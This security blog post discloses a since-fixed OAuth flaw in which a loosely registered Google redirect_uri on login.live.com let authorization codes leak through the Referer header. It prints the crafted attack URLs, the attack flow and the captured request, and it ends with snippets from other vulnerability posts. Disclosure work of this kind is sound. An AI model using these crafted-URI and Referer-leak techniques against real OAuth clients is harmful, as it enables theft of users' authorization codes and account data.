Skip to main content

On (OAuth) token hijacks for fun and profit part #1 (Google/Microsoft integration)

Here we go again....
I have already blogged about (OAuth) token hijacks [1] [2] , but hey, things happens and re-happens :)
In the past I had mainly focused my attention on Authorization Servers weakness. As the cited Facebook's vulnerable regex pattern matching for redirect_uri.
It turns out that also OAuth client can screw things up and leak token (or authorization codes).
So here is the tl;dr:

If you are building an OAuth client,  
Thou shall register a redirect_uri as much as specific as you can

i.e. if your OAuth client callback is https://yourouauthclient.com/oauth/oauthprovider/callback then

  • DO register https://yourouauthclient.com/oauth/oauthprovider/callback 
  • NOT JUST https://yourouauthclient.com/ or https://yourouauthclient.com/oauth
The main reason behind this is that sometimes Authorization Server (AS) use exotic and unexpected redirect_uri validation policies.
As mentioned in some previous post the ONLY safe validation method the Authorization Server should adopt is exact matching (all the other potential solutions, based on partial matching i.e. pattern matching based on regex or allowing subdirectory of the registered redirect_uri, are suboptimal and sometimes even dangerous).
Now coming back to the attack, Google+ offers an interesting feature were is possible to connect Outlook contacts to Google+

So, to perform this integration, Google has registered an OAuth client in the Microsoft OAuth solution aka https://login.live.com. The OAuth client Google registered is: 000000004404170C. The mistake done by the Google engineers in this case was to register a “too open” redirect_uri. Indeed the request originated by Google toward login.live is https://login.live.com/oauth20_authorize.srf?response_type=code&client_id=000000004404170C&scope=wl.emails,wl.basic,wl.contacts_emails,wl.offline_access&redirect_uri=https://plus.google.com/c/auth&state=.... 
The normal flow then looks something like:


According to the request above Google should have been registered the https://plus.google.com/c/auth as redirect_uri (since the redirect_uri request parameter above is of this form). As matter of fact they did register https://plus.google.com instead!!
Now, Microsoft (https://login.live.com/oauth20_authorize.srf in this case) adopts the allowing subdirectory validation strategy (same as Github) for redirect_uri (namely validates only the start of the URI and considers valid redirect_uri if everything else is appended after the registered redirect_uri).
In order to exploit this issue an attacker (me in this case) can create a public post in Google+ e.g. https://plus.google.com/app/basic/stream/z12wz30w5xekhjow504ch3vq4wi1gjzrd3w



This public post contains a link to the attacker web page (in the example https://asanso.github.io).
Well the attack is almost complete. It is indeed enough for the attacker to craft a special URI of this form:
https://login.live.com/oauth20_authorize.srf?response_type=code&client_id=000000004404170C&scope=wl.emails,wl.basic,wl.contacts_emails,wl.offline_access&redirect_uri=https://plus.google.com/app/basic/stream/z12wz30w5xekhjow504ch3vq4wi1gjzrd3w and make the victim click on it.
To be noted that the crafted URI contains a redirect_uri that is equal to the malicious post (https://plus.google.com/app/basic/stream/z12wz30w5xekhjow504ch3vq4wi1gjzrd3w).
The attacker was then able to change the flow to something like:


Since Google registered https://plus.google.com as redirect_uri and due the fact login.live.com adopts an allowing subdirectory validation strategy, https://plus.google.com/app/basic/stream/z12wz30w5xekhjow504ch3vq4wi1gjzrd3w is a perfectly valid redirect_uri. What’s now then?
It is enough to “convince” the victim to click (this happens more often than anybody can imagine) the crafted link:
https://login.live.com/oauth20_authorize.srf?response_type=code&client_id=000000004404170C&scope=wl.emails,wl.basic,wl.contacts_emails,wl.offline_access&redirect_uri=https://plus.google.com/app/basic/stream/z12wz30w5xekhjow504ch3vq4wi1gjzrd3w the victim then will end up to something like
https://plus.google.com/app/basic/stream/z12wz30w5xekhjow504ch3vq4wi1gjzrd3w?code=e8e0dc1c-2258-6cca-72f3-7dbe0ca97a0b
Note the code request parameter ends up being attached in the URI of the malicious post. Having the victim clicking to the link in the malicious post will make him end up to https://asanso.github.io. At this point the referrer will leak the authorization code.



GET https://asanso.github.io/ HTTP/1.1
Host: asanso.github.io
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://plus.google.com/app/basic/stream/z12wz30w5xekhjow504ch3vq4wi1gjzrd3w?code=e8e0dc1c-2258-6cca-72f3-7dbe0ca97a0b&state=AFD_5tnkUDeb8GzlT-fkd1N5dH3unpyRXfG4sisFWPyR_ZSfklmXnI2uKR6d_s5W1kToGBJNJ4nhNY9qZBCrPErOjkyBHm_5t4lkO2slpYU8qU5K63lQJvMsXbdvbEOaS9nFR5xW2l4x_KflI-xIHQprP6ZvvVZL76Wu5d--3mVrSpQxsVP38JquxEffeDxX9uGpLHnlR_TODIUHwXvE786Ov-rhxb8EedkRP_yQBWwTn5D-YIm4BScrjR-AOg
Connection: keep-alive



The attacker can just grab the authorization code from the Referer header.

I did report this vulnerability to Google through the Google Vulnerability Reward Program (VRP)  and they immediately acknowledged the problem (and Yep got a bounty for it :):)). Do the peculiar nature of the issue (also being an integration) it took a while to be fixed (but now it is). The fix is of course easy and as stated above is enough to register a more specific redirect_uri (aka https://plus.google.com/c/auth in this case).

Well this is the end of part #1. I will have yet more to come on the same subject but can't disclosed right now since vendors are still on the verge of fixing those issues... hence as always DO stay tuned and if you are interested on this topic I am @asanso on twitter.

P.S. there is a similar issue discovered by Andris Atteka (now fixed). In his blog post he was wondering if this was a Relying Party (Google) or Authentication Provider (Microsoft) problem. I hope this blog post clarified that this was a Relying Party (small) mistake that can have unwanted side effect though.

P.S2. interesting enough the attack discovered by Andris Atteka in his post was based on OpenID 2.0. In the same time frame Google dismissed OpenID 2.0 support but this did not make the vulnerability going away :). Indeed was enough to craft yet another URI that exhibited (almost) the same effect:
https://login.live.com/oauth20_authorize.srf?response_type=code&client_id=00000000401058A9&scope=wl.emails&redirect_uri=https://accounts.google.com/BackToAuthSubTarget?next=https://asanso.github.io
The real fix deployed by Google was eventually the same as above (once more, again and again, the registration of a more specific redirect uri!! :D)


Comments

Popular posts from this blog

Billion Laugh Attack in https://sites.google.com

tl;dr https://sites.google.com suffered from a Billion Laugh Attack vulnerability that made the containerized environment to crash with a single invocation.
Introduction Few months ago I applied for a talk at a security conference titled Soyouwanna be a Bug Bounty Hunter but it was rejected :(. The reason behind it is that I have been on/off in the bug bounty business for a while as you can see here:
Funny. Found in a forgotten drawer from the time I was a bug hunter :p #facebook#bug#bountypic.twitter.com/Tt4saGZVLI — Antonio Sanso (@asanso) November 30, 2018 and I would have liked to share some of the things I have learned during these years (not necessary technical advises only). You can find a couple of these advises here:


Rule #1 of any bug hunter is to have a good RSS feed list
and here


The rule #2 of any bug hunter is to DO NOT be to fussy with 'food' specifically with "left over"
Today's rule is: The rule #3 of any bug hunter is DO LOOK at the old stuff

and…

Bug bounty left over (and rant) Part III (Google and Twitter)

tl;dr in this blog post I am going to talk about some bug bounty left over with a little rant.

Here you can find bug bounty left over part I and II
Here you can find bug bounty rant part I and II
Introduction In one of my previous post I was saying that: 

"The rule #1 of any bug hunter... is to have a good RSS feed list."
Well well well allow me in this post to state rule #2 (IMHO)

"The rule #2 of any bug hunter is to DO NOT be to fussy with 'food' specifically with left over"

aka even if the most experience bug hunter was there (and it definitely was my case here, given the fact we are talking about no one less than filedescriptor) do not assume that all the vulnerabilities have been found! So if you want some examples here we go.
Part I - GoogleI have the privilege to receive from time to time Google Vulnerability Research Grant. One of the last I received had many target options to choose from, but one in particular caught my attention, namely Google Issue T…

Slack SAML authentication bypass

tl;dr  I found a severe issue in the Slack's SAML implementation that allowed me to bypass the authentication. This has now been solved by Slack.
Introduction IMHO the rule #1 of any bug hunter (note I do not consider myself one of them since I do this really sporadically) is to have a good RSS feed list.  In the course of the last years I built a pretty decent one and I try to follow other security experts trying to "steal" some useful tricks. There are many experts in different fields of the security panorama and too many to quote them here (maybe another post). But one of the leading expert (that I follow) on SAML is by far Ioannis Kakavas. Indeed he was able in the last years to find serious vulnerability in the SAML implementation of Microsoft and Github. Usually I am more an "OAuth guy" but since both, SAML and OAuth, are nothing else that grandchildren of Kerberos learning SAML has been in my todo list for long time. The Github incident gave me the final…